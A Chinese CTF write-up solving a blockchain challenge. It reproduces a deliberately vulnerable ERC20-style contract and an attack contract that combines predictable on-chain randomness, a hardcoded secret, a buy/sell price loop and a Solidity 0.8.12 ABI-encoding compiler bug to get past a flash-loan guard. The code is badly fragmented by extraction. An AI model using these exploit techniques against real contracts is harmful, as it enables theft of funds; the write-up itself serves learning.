这一次1024程序员节中有区块链相关的题目,作为今年才开始起步区块链的小萌新,这一题也是整整看了一整个周末才做出来,不过做出来之后也是相当的具有成就感滴:),话不多说,我们现在就来看一看如何做出这一题.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
/
/
SPDX
-
License
-
Identifier: MIT
/
/
OpenZeppelin Contracts (last updated v4.
7.0
) (token
/
ERC20
/
ERC20.sol)
pragma solidity
0.8
.
12
;
import
"./IERC20.sol"
;
import
"./IERC20Metadata.sol"
;
import
"./Context.sol"
;
/
/
import
"@openzeppelin/contracts/token/ERC20/IERC20.sol"
;
/
/
import
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"
;
/
/
import
"@openzeppelin/contracts/utils/Context.sol"
;
struct Coupon {
uint loankey;
uint256 amount;
address buser;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[
2
] rs;
}
struct SignCoupon {
Coupon coupon;
Signature signature;
}
contract MyToken
is
Context, IERC20, IERC20Metadata {
mapping(address
=
> uint256) public _balances;
mapping(address
=
> uint) public _ebalances;
mapping(address
=
> uint) public ethbalances;
mapping(address
=
> mapping(address
=
> uint256)) private _allowances;
mapping(address
=
> uint) public _profited;
mapping(address
=
> uint) public _auth_one;
mapping(address
=
> uint) public _authd;
mapping(address
=
> uint) public _loand;
mapping(address
=
> uint) public _flag;
mapping(address
=
> uint) public _depositd;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address owner;
address backup;
uint secret;
uint tokenprice;
Coupon public c;
address public lala;
address public xixi;
/
/
mid
=
bilibili uid
/
/
b64email
=
base64(your email address)
/
/
Don't leak your bilibili uid
/
/
Gmail
is
ok.
163
and
qq may have some problems.
event sendflag(string mid, string b64email);
event changeprice(uint secret_);
constructor(string memory name_, string memory symbol_, uint secret_) {
_name
=
name_;
_symbol
=
symbol_;
owner
=
msg.sender;
backup
=
msg.sender;
tokenprice
=
6
;
secret
=
secret_;
_mint(owner,
2233102400
);
}
modifier onlyowner() {
require(msg.sender
=
=
owner);
_;
}
/
*
*
*
@dev Returns the name of the token.
*
/
function name() public view virtual override returns (string memory) {
return
_name;
}
function symbol() public view virtual override returns (string memory) {
return
_symbol;
}
function decimals() public view virtual override returns (uint8) {
return
18
;
}
/
*
*
*
@dev See {IERC20
-
totalSupply}.
*
/
function totalSupply() public view virtual override returns (uint256) {
return
_totalSupply;
}
/
*
*
*
@dev See {IERC20
-
balanceOf}.
*
/
function balanceOf(address account) public view virtual override returns (uint256) {
return
_balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (
bool
) {
address owner
=
_msgSender();
_transfer(owner, to, amount);
return
true;
}
function deposit() public {
require(_depositd[msg.sender]
=
=
0
,
"you can only deposit once"
);
_depositd[msg.sender]
=
1
;
ethbalances[msg.sender]
+
=
1
;
}
function getBalance() public view returns (uint) {
return
address(this).balance;
}
function setbackup() public onlyowner {
owner
=
backup;
}
function ownerbackdoor() public {
require(msg.sender
=
=
owner);
_mint(owner,
1000
);
}
function auth1(uint pass_) public {
require(pass_
=
=
secret,
"auth fail"
);
require(_authd[msg.sender]
=
=
0
,
"already authd"
);
_auth_one[msg.sender]
+
=
1
;
_authd[msg.sender]
+
=
1
;
}
function auth2(uint pass_) public {
uint
pass
=
uint(keccak256(abi.encodePacked(blockhash(block.number
-
1
), block.timestamp)));
require(
pass
=
=
pass_,
"password error, auth fail"
);
require(_auth_one[msg.sender]
=
=
1
,
"need pre auth"
);
require(_authd[msg.sender]
=
=
1
,
"already authd"
);
_authd[msg.sender]
+
=
1
;
}
function payforflag(string memory mid, string memory b64email) public {
require(_flag[msg.sender]
=
=
2
);
emit sendflag(mid, b64email);
}
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey
=
=
0
,
"loan key error"
);
require(msg.sender
=
=
address(this),
"hacker get out"
);
Coupon memory coupon
=
scoupon.coupon;
Signature memory sig
=
scoupon.signature;
c
=
coupon;
require(_authd[scoupon.coupon.buser]
=
=
2
,
"need pre auth"
);
require(_loand[scoupon.coupon.buser]
=
=
0
,
"you have already loaned"
);
require(scoupon.coupon.amount <
=
300
,
"loan amount error"
);
_loand[scoupon.coupon.buser]
=
1
;
_ebalances[scoupon.coupon.buser]
+
=
scoupon.coupon.amount;
}
function profit() public {
require(_profited[msg.sender]
=
=
0
);
_profited[msg.sender]
+
=
1
;
_transfer(owner, msg.sender,
1
);
}
function borrow(uint amount) public {
require(amount
=
=
1
);
require(_profited[msg.sender] <
=
1
);
_profited[msg.sender]
+
=
1
;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {
require(amount <
=
300
,
"max buy count is 300"
);
uint price;
uint ethmount
=
_ebalances[msg.sender];
if
(ethmount <
10
) {
price
=
1000000
;
}
else
if
(ethmount >
=
10
&& ethmount <
=
233
) {
price
=
10000
;
}
else
{
price
=
1
;
}
uint payment
=
amount
*
price;
require(payment <
=
ethmount);
_ebalances[msg.sender]
-
=
payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {
require(_balances[msg.sender] >
=
amount,
"fail to sale"
);
uint earn
=
amount
*
tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender]
+
=
earn;
}
function withdraw() public {
require(ethbalances[msg.sender] >
=
1
);
require(_ebalances[msg.sender] >
=
1812
);
payable(msg.sender).call{value:
100000000000000000
wei}("");
_ebalances[msg.sender]
=
0
;
_flag[msg.sender]
+
=
1
;
}
/
*
*
*
@dev See {IERC20
-
allowance}.
*
/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return
_allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (
bool
) {
address owner
=
_msgSender();
_approve(owner, spender, amount);
return
true;
}
function transferFrom(
address
from
,
address to,
uint256 amount
) public virtual override returns (
bool
) {
require(msg.sender
=
=
owner);
/
/
不允许被owner以外调用
address spender
=
_msgSender();
_spendAllowance(
from
, spender, amount);
_transfer(
from
, to, amount);
return
true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (
bool
) {
require(msg.sender
=
=
owner);
/
/
不允许被owner以外调用
address owner
=
_msgSender();
_approve(owner, spender, allowance(owner, spender)
+
addedValue);
return
true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (
bool
) {
require(msg.sender
=
=
owner);
/
/
不允许被owner以外调用
address owner
=
_msgSender();
uint256 currentAllowance
=
allowance(owner, spender);
require(currentAllowance >
=
subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(owner, spender, currentAllowance
-
subtractedValue);
}
return
true;
}
function _transfer(
address
from
,
address to,
uint256 amount
) internal virtual {
require(
from
!
=
address(
0
),
"ERC20: transfer from the zero address"
);
require(to !
=
address(
0
),
"ERC20: transfer to the zero address"
);
_beforeTokenTransfer(
from
, to, amount);
uint256 fromBalance
=
_balances[
from
];
require(fromBalance >
=
amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[
from
]
=
fromBalance
-
amount;
/
/
Overflow
not
possible: the
sum
of
all
balances
is
capped by totalSupply,
and
the
sum
is
preserved by
/
/
decrementing then incrementing.
_balances[to]
+
=
amount;
}
emit Transfer(
from
, to, amount);
_afterTokenTransfer(
from
, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account !
=
address(
0
),
"ERC20: mint to the zero address"
);
_beforeTokenTransfer(address(
0
), account, amount);
_totalSupply
+
=
amount;
unchecked {
/
/
Overflow
not
possible: balance
+
amount
is
at most totalSupply
+
amount, which
is
checked above.
_balances[account]
+
=
amount;
}
emit Transfer(address(
0
), account, amount);
_afterTokenTransfer(address(
0
), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account !
=
address(
0
),
"ERC20: burn from the zero address"
);
_beforeTokenTransfer(account, address(
0
), amount);
uint256 accountBalance
=
_balances[account];
require(accountBalance >
=
amount,
"ERC20: burn amount exceeds balance"
);
unchecked {
_balances[account]
=
accountBalance
-
amount;
/
/
Overflow
not
possible: amount <
=
accountBalance <
=
totalSupply.
_totalSupply
-
=
amount;
}
emit Transfer(account, address(
0
), amount);
_afterTokenTransfer(account, address(
0
), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner !
=
address(
0
),
"ERC20: approve from the zero address"
);
require(spender !
=
address(
0
),
"ERC20: approve to the zero address"
);
_allowances[owner][spender]
=
amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance
=
allowance(owner, spender);
if
(currentAllowance !
=
type
(uint256).
max
) {
require(currentAllowance >
=
amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance
-
amount);
}
}
}
function _beforeTokenTransfer(
address
from
,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address
from
,
address to,
uint256 amount
) internal virtual {}
/
/
debug param secret
function get_secret() public view returns (uint) {
require(msg.sender
=
=
owner);
return
secret;
}
/
/
debug param tokenprice
function get_price() public view returns (uint) {
return
tokenprice;
}
/
/
test need to be delete
function testborrowtwice(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey
=
=
2233
);
MyToken(this).flashloan(scoupon);
}
/
/
test need to be delete
function set_secret(uint secret_) public onlyowner {
secret
=
secret_;
emit changeprice(secret_);
}
}
接下来要做的就是寻找函数使_flag[msg.sender]
的值到2.
通过寻找,我们找到了withdraw
这个函数,而这个函数的执行需要满足两个条件,分别是ethbalances[msg.sender] >= 1
和_ebalances[msg.sender] >= 1812
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function profit() public {
require(_profited[msg.sender]
=
=
0
);
_profited[msg.sender]
+
=
1
;
_transfer(owner, msg.sender,
1
);
}
function borrow(uint amount) public {
/
/
获得
1
个_balances
require(amount
=
=
1
);
require(_profited[msg.sender] <
=
1
);
_profited[msg.sender]
+
=
1
;
_transfer(owner, msg.sender, amount);
}
function buy(uint amount) public {
/
/
通过出售_ebalances购买_balances
require(amount <
=
300
,
"max buy count is 300"
);
uint price;
uint ethmount
=
_ebalances[msg.sender];
if
(ethmount <
10
) {
price
=
1000000
;
}
else
if
(ethmount >
=
10
&& ethmount <
=
233
) {
price
=
10000
;
}
else
{
price
=
1
;
}
uint payment
=
amount
*
price;
require(payment <
=
ethmount);
_ebalances[msg.sender]
-
=
payment;
_transfer(owner, msg.sender, amount);
}
function sale(uint amount) public {
/
/
通过出售_balances获得_ebalances
require(_balances[msg.sender] >
=
amount,
"fail to sale"
);
uint earn
=
amount
*
tokenprice;
_transfer(msg.sender, owner, amount);
_ebalances[msg.sender]
+
=
earn;
}
我们看看profit
这个函数,只能运行一次,获得一个_balances
;而borrow
这个函数,一共可以执行两次获得两个_balances
.但是这两个函数都有_profited[msg.sender]
这个变量进行限制,也就是说,我们最多只能通过profit
或borrow
函数获得2个_balances
.
那么_balances
有什么用呢?看一看sale
函数,我们可以把_balances
卖掉得到_ebalances
,其中tokenprice
已经被定义为6了,所以_balances
与_ebalances
之间的兑换比例为1:6.
而buy
这个函数,只有当_ebalances
大于233时,_ebalances
与_balances
之间的兑换比例才是1:1.
仔细看看上面两段话,稍微思考一下就可以明白,只要我的_ebalances
比233要大,那么不就可以通过与_balances
互刷的方式不断增加我的_ebalances
从而满足条件2_ebalances[msg.sender] >= 1812
?!
这里我举个简单的例子,假设我现在有_ebalances
300个,那么我可以通过buy(300)
获得_balances
300个,随后在通过sale(300)
获得_ebalances
300*6=1800个,然后再重复上面的过程,那么我的_ebalances
不久可以源源不断的增加的吗~~~~
我们知道每一个初始账号都可以固定获得2个_balances
,那么我们能否通过小号为大号通过transfer
方法发送_balances
的方法获得足够数量的_balances
呢?答案是可行的.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function flashloan(SignCoupon calldata scoupon) public {
require(scoupon.coupon.loankey
=
=
0
,
"loan key error"
);
require(msg.sender
=
=
address(this),
"hacker get out"
);
Coupon memory coupon
=
scoupon.coupon;
Signature memory sig
=
scoupon.signature;
c
=
coupon;
require(_authd[scoupon.coupon.buser]
=
=
2
,
"need pre auth"
);
require(_loand[scoupon.coupon.buser]
=
=
0
,
"you have already loaned"
);
require(scoupon.coupon.amount <
=
300
,
"loan amount error"
);
_loand[scoupon.coupon.buser]
=
1
;
_ebalances[scoupon.coupon.buser]
+
=
scoupon.coupon.amount;
}
不过直接编写攻击合约来调用这个函数肯定是不行滴,因为require(msg.sender == address(this), "hacker get out")
这一句的限制了,咋办嘞?
不过flashloan
内还有限制条件require(_authd[scoupon.coupon.buser] == 2, "need pre auth")
,就是说需要验证的意思,我们找找这两个验证函数auth1
和auth2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function auth1(uint pass_) public {
require(pass_
=
=
secret,
"auth fail"
);
require(_authd[msg.sender]
=
=
0
,
"already authd"
);
_auth_one[msg.sender]
+
=
1
;
_authd[msg.sender]
+
=
1
;
}
function auth2(uint pass_) public {
uint
pass
=
uint(keccak256(abi.encodePacked(blockhash(block.number
-
1
), block.timestamp)));
require(
pass
=
=
pass_,
"password error, auth fail"
);
require(_auth_one[msg.sender]
=
=
1
,
"need pre auth"
);
require(_authd[msg.sender]
=
=
1
,
"already authd"
);
_authd[msg.sender]
+
=
1
;
}
这个我们玩区块链的根本不慌滴,区块链的每一笔交易都是有记录的,我们直接去看最早的交易记录.
1
2
3
4
5
6
7
function auth2(uint pass_) public {
uint
pass
=
uint(keccak256(abi.encodePacked(blockhash(block.number
-
1
), block.timestamp)));
require(
pass
=
=
pass_,
"password error, auth fail"
);
require(_auth_one[msg.sender]
=
=
1
,
"need pre auth"
);
require(_authd[msg.sender]
=
=
1
,
"already authd"
);
_authd[msg.sender]
+
=
1
;
}
当我看到uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))
这个的时候,我瞬间乐开了花,这我可太熟悉不过了~
uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))
这玩意儿看着随机,其实是确定的!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/
/
SPDX
-
License
-
Identifier: MIT
pragma solidity ^
0.8
.
12
;
import
"./ctf.sol"
;
contract Attack {
MyToken public mytoken;
constructor(address _MyTokenAddress) {
/
/
_MyTokenAddress是题目的合约地址
mytoken
=
MyToken(_MyTokenAddress);
}
receive() external payable {}
function attack() public{
mytoken.deposit();
/
/
满足ethbalances[msg.sender] >
=
1
mytoken.borrow(
1
);
mytoken.borrow(
1
);
/
/
得到两个_balances
mytoken.auth1(
22331024
);
/
/
第一个验证
uint answer
=
uint(
keccak256(abi.encodePacked(blockhash(block.number
-
1
), block.timestamp))
);
mytoken.auth2(answer);
/
/
第二个验证
SignCoupon memory scoupon;
scoupon.coupon.loankey
=
2233
;
scoupon.coupon.amount
=
300
;
scoupon.coupon.buser
=
address(this);
mytoken.testborrowtwice(scoupon);
/
/
获得_ebalances
300
个
mytoken.buy(
302
);
/
/
用_ebalances去换_balances
302
个
mytoken.transfer(adrress(你自己的账户地址),
302
);
/
/
给你的大号转账_balances
302
个
}
function getBalance() public view returns (uint) {
return
address(this).balance;
}
}
这里简单说明一下为什么将scoupon.coupon.loankey
赋值为2233通过testborrowtwice
后,在flashloan
函数中scoupon.coupon.loankey
又变为0,这是由于solidity0.8.12编译器自身原因导致了这个bug,从而使得第一个成员变量的值清零,在solidity0.8.16后这个问题得到了修复.
1
2
3
4
5
6
7
8
9
10
"uid"
:
"SOL-2022-6"
,
"name"
:
"AbiReencodingHeadOverflowWithStaticArrayCleanup"
,
"summary"
:
"ABI-encoding a tuple with a statically-sized calldata array in the last component would corrupt 32 leading bytes of its first dynamically encoded component."
,
"description"
:
"When ABI-encoding a statically-sized calldata array, the compiler always pads the data area to a multiple of 32-bytes and ensures that the padding bytes are zeroed. In some cases, this cleanup used to be performed by always writing exactly 32 bytes, regardless of how many needed to be zeroed. This was done with the assumption that the data that would eventually occupy the area past the end of the array had not yet been written, because the encoder processes tuple components in the order they were given. While this assumption is mostly true, there is an important corner case: dynamically encoded tuple components are stored separately from the statically-sized ones in an area called the *tail* of the encoding and the tail immediately follows the *head*, which is where the statically-sized components are placed. The aforementioned cleanup, if performed for the last component of the head would cross into the tail and overwrite up to 32 bytes of the first component stored there with zeros. The only array type for which the cleanup could actually result in an overwrite were arrays with ``uint256`` or ``bytes32`` as the base element type and in this case the size of the corrupted area was always exactly 32 bytes. The problem affected tuples at any nesting level. This included also structs, which are encoded as tuples in the ABI. Note also that lists of parameters and return values of functions, events and errors are encoded as tuples."
,
"introduced"
:
"0.5.8"
,
"fixed"
:
"0.8.16"
,
"severity"
:
"medium"
,
"conditions"
: {
"ABIEncoderV2"
: true
}
说一说感受吧,每次做区块链的题目都感觉特别有意思,其实本人过去是学习逆向工程的 ,今年才开始接触区块链,解区块链题目的过程说实话,和逆向分析真的好像哇,都是一个逆向的过程,分析需要满足的条件,然后设法编写合约来让条件得到满足,最终满足所有需要的条件之后获得flag ,好玩好玩,嘿嘿(●ˇ∀ˇ●)